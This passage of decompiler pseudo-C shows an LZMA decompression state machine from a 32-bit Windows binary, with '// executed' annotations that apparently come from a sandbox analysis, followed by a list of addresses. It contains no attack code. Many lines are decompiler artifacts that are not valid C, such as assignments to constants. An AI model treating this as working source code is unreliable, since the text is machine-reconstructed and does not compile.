						 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
						if( *(__ebp - 0x38) >= 4) {
							if( *(__ebp - 0x38) >= 0xa) {
								_t97 = __ebp - 0x38;
								 *_t97 =  *(__ebp - 0x38) - 6;
							} else {
								 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
							}
						} else {
							 *(__ebp - 0x38) = 0;
						}
						if( *(__ebp - 0x34) == __edx) {
							__ebx = 0;
							__ebx = 1;
							L60:
							__eax =  *(__ebp - 0x58);
							__edx = __ebx + __ebx;
							__ecx =  *(__ebp - 0x10);
							__esi = __edx + __eax;
							__ecx =  *(__ebp - 0x10) >> 0xb;
							__ax =  *__esi;
							 *(__ebp - 0x54) = __esi;
							__edi = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								__ebx = __edx + 1;
								__cx = __ax >> 5;
								 *__esi = __ax;
							} else {
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							 *(__ebp - 0x44) = __ebx;
							if( *(__ebp - 0x10) >= 0x1000000) {
								L59:
								if(__ebx >= 0x100) {
									goto L54;
								}
								goto L60;
							} else {
								L57:
								if( *(__ebp - 0x6c) == 0) {
									 *(__ebp - 0x88) = 0xf;
									goto L170;
								}
								__ecx =  *(__ebp - 0x70);
								__eax =  *(__ebp - 0xc);
								 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
								__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
								 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
								 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
								_t202 = __ebp - 0x70;
								 *_t202 =  *(__ebp - 0x70) + 1;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
								goto L59;
							}
						} else {
							__eax =  *(__ebp - 0x14);
							__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
							if(__eax >=  *(__ebp - 0x74)) {
								__eax = __eax +  *(__ebp - 0x74);
							}
							__ecx =  *(__ebp - 8);
							__ebx = 0;
							__ebx = 1;
							__al =  *((intOrPtr*)(__eax + __ecx));
							 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
							L40:
							__eax =  *(__ebp - 0x5b) & 0x000000ff;
							 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
							__ecx =  *(__ebp - 0x58);
							__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
							 *(__ebp - 0x48) = __eax;
							__eax = __eax + 1;
							__eax = __eax << 8;
							__eax = __eax + __ebx;
							__esi =  *(__ebp - 0x58) + __eax * 2;
							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
							__ax =  *__esi;
							 *(__ebp - 0x54) = __esi;
							__edx = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								 *(__ebp - 0x40) = 1;
								__cx = __ax >> 5;
								__ebx = __ebx + __ebx + 1;
								 *__esi = __ax;
							} else {
								 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edx;
								0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							 *(__ebp - 0x44) = __ebx;
							if( *(__ebp - 0x10) >= 0x1000000) {
								L38:
								__eax =  *(__ebp - 0x40);
								if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
									while(1) {
										if(__ebx >= 0x100) {
											break;
										}
										__eax =  *(__ebp - 0x58);
										__edx = __ebx + __ebx;
										__ecx =  *(__ebp - 0x10);
										__esi = __edx + __eax;
										__ecx =  *(__ebp - 0x10) >> 0xb;
										__ax =  *__esi;
										 *(__ebp - 0x54) = __esi;
										__edi = __ax & 0x0000ffff;
										__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
										if( *(__ebp - 0xc) >= __ecx) {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
											__cx = __ax;
											__ebx = __edx + 1;
											__cx = __ax >> 5;
											 *__esi = __ax;
										} else {
											 *(__ebp - 0x10) = __ecx;
											0x800 = 0x800 - __edi;
											0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
											__ebx = __ebx + __ebx;
											 *__esi = __cx;
										}
										 *(__ebp - 0x44) = __ebx;
										if( *(__ebp - 0x10) < 0x1000000) {
											L45:
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xe;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t155 = __ebp - 0x70;
											 *_t155 =  *(__ebp - 0x70) + 1;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
										}
									}
									L53:
									_t172 = __ebp - 0x34;
									 *_t172 =  *(__ebp - 0x34) & 0x00000000;
									L54:
									__al =  *(__ebp - 0x44);
									 *(__ebp - 0x5c) =  *(__ebp - 0x44);
									L55:
									if( *(__ebp - 0x64) == 0) {
										 *(__ebp - 0x88) = 0x1a;
										goto L170;
									}
									__ecx =  *(__ebp - 0x68);
									__al =  *(__ebp - 0x5c);
									__edx =  *(__ebp - 8);
									 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
									 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
									 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
									 *( *(__ebp - 0x68)) = __al;
									__ecx =  *(__ebp - 0x14);
									 *(__ecx +  *(__ebp - 8)) = __al;
									__eax = __ecx + 1;
									__edx = 0;
									_t191 = __eax %  *(__ebp - 0x74);
									__eax = __eax /  *(__ebp - 0x74);
									__edx = _t191;
									L79:
									 *(__ebp - 0x14) = __edx;
									L80:
									 *(__ebp - 0x88) = 2;
									goto L1;
								}
								if(__ebx >= 0x100) {
									goto L53;
								}
								goto L40;
							} else {
								L36:
								if( *(__ebp - 0x6c) == 0) {
									 *(__ebp - 0x88) = 0xd;
									L170:
									_t568 = 0x22;
									memcpy( *(_t614 - 0x90), _t614 - 0x88, _t568 << 2);
									_t535 = 0;
									L172:
									return _t535;
								}
								__ecx =  *(__ebp - 0x70);
								__eax =  *(__ebp - 0xc);
								 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
								__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
								 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
								 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
								_t121 = __ebp - 0x70;
								 *_t121 =  *(__ebp - 0x70) + 1;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
								goto L38;
							}
						}
					}
					L1:
					_t534 =  *(_t614 - 0x88);
					if(_t534 > 0x1c) {
						L171:
						_t535 = _t534 | 0xffffffff;
						goto L172;
					}
					switch( *((intOrPtr*)(_t534 * 4 +  &M00407061))) {
						case 0:
							if( *(_t614 - 0x6c) == 0) {
								goto L170;
							}
							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
							 *(_t614 - 0x70) =  &(( *(_t614 - 0x70))[1]);
							_t534 =  *( *(_t614 - 0x70));
							if(_t534 > 0xe1) {
								goto L171;
							}
							_t538 = _t534 & 0x000000ff;
							_push(0x2d);
							asm("cdq");
							_pop(_t570);
							_push("true");
							_pop(_t571);
							_t610 = _t538 / _t570;
							_t540 = _t538 % _t570 & 0x000000ff;
							asm("cdq");
							_t605 = _t540 % _t571 & 0x000000ff;
							 *(_t614 - 0x3c) = _t605;
							 *(_t614 - 0x1c) = (1 << _t610) - 1;
							 *((intOrPtr*)(_t614 - 0x18)) = (1 << _t540 / _t571) - 1;
							_t613 = (0x300 << _t605 + _t610) + 0x736;
							if(0x600 ==  *((intOrPtr*)(_t614 - 0x78))) {
								L10:
								if(_t613 == 0) {
									L12:
									 *(_t614 - 0x48) =  *(_t614 - 0x48) & 0x00000000;
									 *(_t614 - 0x40) =  *(_t614 - 0x40) & 0x00000000;
									goto L15;
								} else {
									goto L11;
								}
								do {
									L11:
									_t613 = _t613 - 1;
									 *((short*)( *(_t614 - 4) + _t613 * 2)) = 0x400;
								} while (_t613 != 0);
								goto L12;
							}
							if( *(_t614 - 4) != 0) {
								GlobalFree( *(_t614 - 4)); // executed
							}
							_t534 = GlobalAlloc(0x40, 0x600); // executed
							 *(_t614 - 4) = _t534;
							if(_t534 == 0) {
								goto L171;
							} else {
								 *((intOrPtr*)(_t614 - 0x78)) = 0x600;
								goto L10;
							}
						case 1:
							L13:
							__eflags =  *(_t614 - 0x6c);
							if( *(_t614 - 0x6c) == 0) {
								 *(_t614 - 0x88) = 1;
								goto L170;
							}
							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
							 *(_t614 - 0x40) =  *(_t614 - 0x40) | ( *( *(_t614 - 0x70)) & 0x000000ff) <<  *(_t614 - 0x48) << 0x00000003;
							 *(_t614 - 0x70) =  &(( *(_t614 - 0x70))[1]);
							_t45 = _t614 - 0x48;
							 *_t45 =  *(_t614 - 0x48) + 1;
							__eflags =  *_t45;
							L15:
							if( *(_t614 - 0x48) < 4) {
								goto L13;
							}
							_t546 =  *(_t614 - 0x40);
							if(_t546 ==  *(_t614 - 0x74)) {
								L20:
								 *(_t614 - 0x48) = 5;
								 *( *(_t614 - 8) +  *(_t614 - 0x74) - 1) =  *( *(_t614 - 8) +  *(_t614 - 0x74) - 1) & 0x00000000;
								goto L23;
							}
							 *(_t614 - 0x74) = _t546;
							if( *(_t614 - 8) != 0) {
								GlobalFree( *(_t614 - 8)); // executed
							}
							_t534 = GlobalAlloc(0x40,  *(_t614 - 0x40)); // executed
							 *(_t614 - 8) = _t534;
							if(_t534 == 0) {
								goto L171;
							} else {
								goto L20;
							}
						case 2:
							L24:
							_t553 =  *(_t614 - 0x60) &  *(_t614 - 0x1c);
							 *(_t614 - 0x84) = 6;
							 *(_t614 - 0x4c) = _t553;
							_t607 =  *(_t614 - 4) + (( *(_t614 - 0x38) << 4) + _t553) * 2;
							goto L132;
						case 3:
							L21:
							__eflags =  *(_t614 - 0x6c);
							if( *(_t614 - 0x6c) == 0) {
								 *(_t614 - 0x88) = 3;
								goto L170;
							}
							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
							_t67 = _t614 - 0x70;
							 *_t67 =  &(( *(_t614 - 0x70))[1]);
							__eflags =  *_t67;
							 *(_t614 - 0xc) =  *(_t614 - 0xc) << 0x00000008 |  *( *(_t614 - 0x70)) & 0x000000ff;
							L23:
							 *(_t614 - 0x48) =  *(_t614 - 0x48) - 1;
							if( *(_t614 - 0x48) != 0) {
								goto L21;
							}
							goto L24;
						case 4:
							goto L133;
						case 5:
							goto L137;
						case 6:
							goto L0;
						case 7:
							__eflags =  *(__ebp - 0x40) - 1;
							if( *(__ebp - 0x40) != 1) {
								__eax =  *(__ebp - 0x24);
								 *(__ebp - 0x80) = 0x16;
								 *(__ebp - 0x20) =  *(__ebp - 0x24);
								__eax =  *(__ebp - 0x28);
								 *(__ebp - 0x24) =  *(__ebp - 0x28);
								__eax =  *(__ebp - 0x2c);
								 *(__ebp - 0x28) =  *(__ebp - 0x2c);
								__eax = 0;
								__eflags =  *(__ebp - 0x38) - 7;
								0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
								__al = __al & 0x000000fd;
								__eax = (__eflags >= 0) - 1 + 0xa;
								 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
								__eax =  *(__ebp - 4);
								__eax =  *(__ebp - 4) + 0x664;
								__eflags = __eax;
								 *(__ebp - 0x58) = __eax;
								goto L68;
							}
							__eax =  *(__ebp - 4);
							__ecx =  *(__ebp - 0x38);
							 *(__ebp - 0x84) = 8;
							__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
							goto L132;
						case 8:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x84) = 0xa;
								__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
							} else {
								__eax =  *(__ebp - 0x38);
								__ecx =  *(__ebp - 4);
								__eax =  *(__ebp - 0x38) + 0xf;
								 *(__ebp - 0x84) = 9;
								 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
								__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
							}
							goto L132;
						case 9:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								goto L89;
							}
							__eflags =  *(__ebp - 0x60);
							if( *(__ebp - 0x60) == 0) {
								goto L171;
							}
							__eax = 0;
							__eflags =  *(__ebp - 0x38) - 7;
							_t258 =  *(__ebp - 0x38) - 7 >= 0;
							__eflags = _t258;
							0 | _t258 = _t258 + _t258 + 9;
							 *(__ebp - 0x38) = _t258 + _t258 + 9;
							goto L75;
						case 0xa:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x84) = 0xb;
								__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x28);
							goto L88;
						case 0xb:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__ecx =  *(__ebp - 0x24);
								__eax =  *(__ebp - 0x20);
								 *(__ebp - 0x20) =  *(__ebp - 0x24);
							} else {
								__eax =  *(__ebp - 0x24);
							}
							__ecx =  *(__ebp - 0x28);
							 *(__ebp - 0x24) =  *(__ebp - 0x28);
							L88:
							__ecx =  *(__ebp - 0x2c);
							 *(__ebp - 0x2c) = __eax;
							 *(__ebp - 0x28) =  *(__ebp - 0x2c);
							L89:
							__eax =  *(__ebp - 4);
							 *(__ebp - 0x80) = 0x15;
							__eax =  *(__ebp - 4) + 0xa68;
							 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
							goto L68;
						case 0xc:
							L99:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xc;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t334 = __ebp - 0x70;
							 *_t334 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t334;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							__eax =  *(__ebp - 0x2c);
							goto L101;
						case 0xd:
							goto L36;
						case 0xe:
							goto L45;
						case 0xf:
							goto L57;
						case 0x10:
							L109:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0x10;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t365 = __ebp - 0x70;
							 *_t365 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t365;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							goto L111;
						case 0x11:
							L68:
							__esi =  *(__ebp - 0x58);
							 *(__ebp - 0x84) = 0x12;
							goto L132;
						case 0x12:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 0x58);
								 *(__ebp - 0x84) = 0x13;
								__esi =  *(__ebp - 0x58) + 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x4c);
							 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
							__ecx =  *(__ebp - 0x58);
							__eax =  *(__ebp - 0x4c) << 4;
							__eflags = __eax;
							__eax =  *(__ebp - 0x58) + __eax + 4;
							goto L130;
						case 0x13:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								_t469 = __ebp - 0x58;
								 *_t469 =  *(__ebp - 0x58) + 0x204;
								__eflags =  *_t469;
								 *(__ebp - 0x30) = 0x10;
								 *(__ebp - 0x40) = 8;
								L144:
								 *(__ebp - 0x7c) = 0x14;
								goto L145;
							}
							__eax =  *(__ebp - 0x4c);
							__ecx =  *(__ebp - 0x58);
							__eax =  *(__ebp - 0x4c) << 4;
							 *(__ebp - 0x30) = 8;
							__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
							L130:
							 *(__ebp - 0x58) = __eax;
							 *(__ebp - 0x40) = 3;
							goto L144;
						case 0x14:
							 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
							__eax =  *(__ebp - 0x80);
							goto L140;
						case 0x15:
							__eax = 0;
							__eflags =  *(__ebp - 0x38) - 7;
							0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
							__al = __al & 0x000000fd;
							__eax = (__eflags >= 0) - 1 + 0xb;
							 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
							goto L120;
						case 0x16:
							__eax =  *(__ebp - 0x30);
							__eflags = __eax - 4;
							if(__eax >= 4) {
								_push("true");
								_pop(__eax);
							}
							__ecx =  *(__ebp - 4);
							 *(__ebp - 0x40) = 6;
							__eax = __eax << 7;
							 *(__ebp - 0x7c) = 0x19;
							 *(__ebp - 0x58) = __eax;
							goto L145;
						case 0x17:
							L145:
							__eax =  *(__ebp - 0x40);
							 *(__ebp - 0x50) = 1;
							 *(__ebp - 0x48) =  *(__ebp - 0x40);
							goto L149;
						case 0x18:
							L146:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0x18;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t484 = __ebp - 0x70;
							 *_t484 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t484;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							L148:
							_t487 = __ebp - 0x48;
							 *_t487 =  *(__ebp - 0x48) - 1;
							__eflags =  *_t487;
							L149:
							__eflags =  *(__ebp - 0x48);
							if( *(__ebp - 0x48) <= 0) {
								__ecx =  *(__ebp - 0x40);
								__ebx =  *(__ebp - 0x50);
								0 = 1;
								__eax = 1 << __cl;
								__ebx =  *(__ebp - 0x50) - (1 << __cl);
								__eax =  *(__ebp - 0x7c);
								 *(__ebp - 0x44) = __ebx;
								goto L140;
							}
							__eax =  *(__ebp - 0x50);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
							__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
							__eax =  *(__ebp - 0x58);
							__esi = __edx + __eax;
							 *(__ebp - 0x54) = __esi;
							__ax =  *__esi;
							__edi = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
							__eflags =  *(__ebp - 0xc) - __ecx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								__cx = __ax >> 5;
								__eax = __eax - __ecx;
								__edx = __edx + 1;
								__eflags = __edx;
								 *__esi = __ax;
								 *(__ebp - 0x50) = __edx;
							} else {
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
								 *__esi = __cx;
							}
							__eflags =  *(__ebp - 0x10) - 0x1000000;
							if( *(__ebp - 0x10) >= 0x1000000) {
								goto L148;
							} else {
								goto L146;
							}
						case 0x19:
							__eflags = __ebx - 4;
							if(__ebx < 4) {
								 *(__ebp - 0x2c) = __ebx;
								L119:
								_t393 = __ebp - 0x2c;
								 *_t393 =  *(__ebp - 0x2c) + 1;
								__eflags =  *_t393;
								L120:
								__eax =  *(__ebp - 0x2c);
								__eflags = __eax;
								if(__eax == 0) {
									 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
									goto L170;
								}
								__eflags = __eax -  *(__ebp - 0x60);
								if(__eax >  *(__ebp - 0x60)) {
									goto L171;
								}
								 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
								__eax =  *(__ebp - 0x30);
								_t400 = __ebp - 0x60;
								 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
								__eflags =  *_t400;
								goto L123;
							}
							__ecx = __ebx;
							__eax = __ebx;
							__ecx = __ebx >> 1;
							__eax = __ebx & 0x00000001;
							__ecx = (__ebx >> 1) - 1;
							__al = __al | 0x00000002;
							__eax = (__ebx & 0x00000001) << __cl;
							__eflags = __ebx - 0xe;
							 *(__ebp - 0x2c) = __eax;
							if(__ebx >= 0xe) {
								__ebx = 0;
								 *(__ebp - 0x48) = __ecx;
								L102:
								__eflags =  *(__ebp - 0x48);
								if( *(__ebp - 0x48) <= 0) {
									__eax = __eax + __ebx;
									 *(__ebp - 0x40) = 4;
									 *(__ebp - 0x2c) = __eax;
									__eax =  *(__ebp - 4);
									__eax =  *(__ebp - 4) + 0x644;
									__eflags = __eax;
									L108:
									__ebx = 0;
									 *(__ebp - 0x58) = __eax;
									 *(__ebp - 0x50) = 1;
									 *(__ebp - 0x44) = 0;
									 *(__ebp - 0x48) = 0;
									L112:
									__eax =  *(__ebp - 0x40);
									__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
									if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
										_t391 = __ebp - 0x2c;
										 *_t391 =  *(__ebp - 0x2c) + __ebx;
										__eflags =  *_t391;
										goto L119;
									}
									__eax =  *(__ebp - 0x50);
									 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
									__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
									__eax =  *(__ebp - 0x58);
									__esi = __edi + __eax;
									 *(__ebp - 0x54) = __esi;
									__ax =  *__esi;
									__ecx = __ax & 0x0000ffff;
									__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
									__eflags =  *(__ebp - 0xc) - __edx;
									if( *(__ebp - 0xc) >= __edx) {
										__ecx = 0;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
										__ecx = 1;
										 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
										__ebx = 1;
										__ecx =  *(__ebp - 0x48);
										__ebx = 1 << __cl;
										__ecx = 1 << __cl;
										__ebx =  *(__ebp - 0x44);
										__ebx =  *(__ebp - 0x44) | __ecx;
										__cx = __ax;
										__cx = __ax >> 5;
										__eax = __eax - __ecx;
										__edi = __edi + 1;
										__eflags = __edi;
										 *(__ebp - 0x44) = __ebx;
										 *__esi = __ax;
										 *(__ebp - 0x50) = __edi;
									} else {
										 *(__ebp - 0x10) = __edx;
										0x800 = 0x800 - __ecx;
										0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
										 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
										 *__esi = __dx;
									}
									__eflags =  *(__ebp - 0x10) - 0x1000000;
									if( *(__ebp - 0x10) >= 0x1000000) {
										L111:
										_t368 = __ebp - 0x48;
										 *_t368 =  *(__ebp - 0x48) + 1;
										__eflags =  *_t368;
										goto L112;
									} else {
										goto L109;
									}
								}
								__ecx =  *(__ebp - 0xc);
								__ebx = __ebx + __ebx;
								 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
								__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
								 *(__ebp - 0x44) = __ebx;
								if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
									__ecx =  *(__ebp - 0x10);
									 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
									__ebx = __ebx | 0x00000001;
									__eflags = __ebx;
									 *(__ebp - 0x44) = __ebx;
								}
								__eflags =  *(__ebp - 0x10) - 0x1000000;
								if( *(__ebp - 0x10) >= 0x1000000) {
									L101:
									_t338 = __ebp - 0x48;
									 *_t338 =  *(__ebp - 0x48) - 1;
									__eflags =  *_t338;
									goto L102;
								} else {
									goto L99;
								}
							}
							__edx =  *(__ebp - 4);
							__eax = __eax - __ebx;
							 *(__ebp - 0x40) = __ecx;
							__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
							goto L108;
						case 0x1a:
							goto L55;
						case 0x1b:
							L75:
							__eflags =  *(__ebp - 0x64);
							if( *(__ebp - 0x64) == 0) {
								 *(__ebp - 0x88) = 0x1b;
								goto L170;
							}
							__eax =  *(__ebp - 0x14);
							__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
							__eflags = __eax -  *(__ebp - 0x74);
							if(__eax >=  *(__ebp - 0x74)) {
								__eax = __eax +  *(__ebp - 0x74);
								__eflags = __eax;
							}
							__edx =  *(__ebp - 8);
							__cl =  *(__eax + __edx);
							__eax =  *(__ebp - 0x14);
							 *(__ebp - 0x5c) = __cl;
							 *(__eax + __edx) = __cl;
							__eax = __eax + 1;
							__edx = 0;
							_t274 = __eax %  *(__ebp - 0x74);
							__eax = __eax /  *(__ebp - 0x74);
							__edx = _t274;
							__eax =  *(__ebp - 0x68);
							 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
							 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
							_t283 = __ebp - 0x64;
							 *_t283 =  *(__ebp - 0x64) - 1;
							__eflags =  *_t283;
							 *( *(__ebp - 0x68)) = __cl;
							goto L79;
						case 0x1c:
							while(1) {
								L123:
								__eflags =  *(__ebp - 0x64);
								if( *(__ebp - 0x64) == 0) {
									break;
								}
								__eax =  *(__ebp - 0x14);
								__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
								__eflags = __eax -  *(__ebp - 0x74);
								if(__eax >=  *(__ebp - 0x74)) {
									__eax = __eax +  *(__ebp - 0x74);
									__eflags = __eax;
								}
								__edx =  *(__ebp - 8);
								__cl =  *(__eax + __edx);
								__eax =  *(__ebp - 0x14);
								 *(__ebp - 0x5c) = __cl;
								 *(__eax + __edx) = __cl;
								__eax = __eax + 1;
								__edx = 0;
								_t414 = __eax %  *(__ebp - 0x74);
								__eax = __eax /  *(__ebp - 0x74);
								__edx = _t414;
								__eax =  *(__ebp - 0x68);
								 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
								 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
								 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
								__eflags =  *(__ebp - 0x30);
								 *( *(__ebp - 0x68)) = __cl;
								 *(__ebp - 0x14) = __edx;
								if( *(__ebp - 0x30) > 0) {
									continue;
								} else {
									goto L80;
								}
							}
							 *(__ebp - 0x88) = 0x1c;
							goto L170;
					}
				}
			}

0x00000000
0x004067be
0x004067be
0x004067c3
0x0040683a
0x00406841
0x0040684b
0x00406e2a
0x00406e2a
0x00406e2d
0x00406e2d
0x00406e33
0x00406e39
0x00406e3f
0x00406e59
0x00406e5c
0x00406e62
0x00406e6d
0x00406e6f
0x00406e41
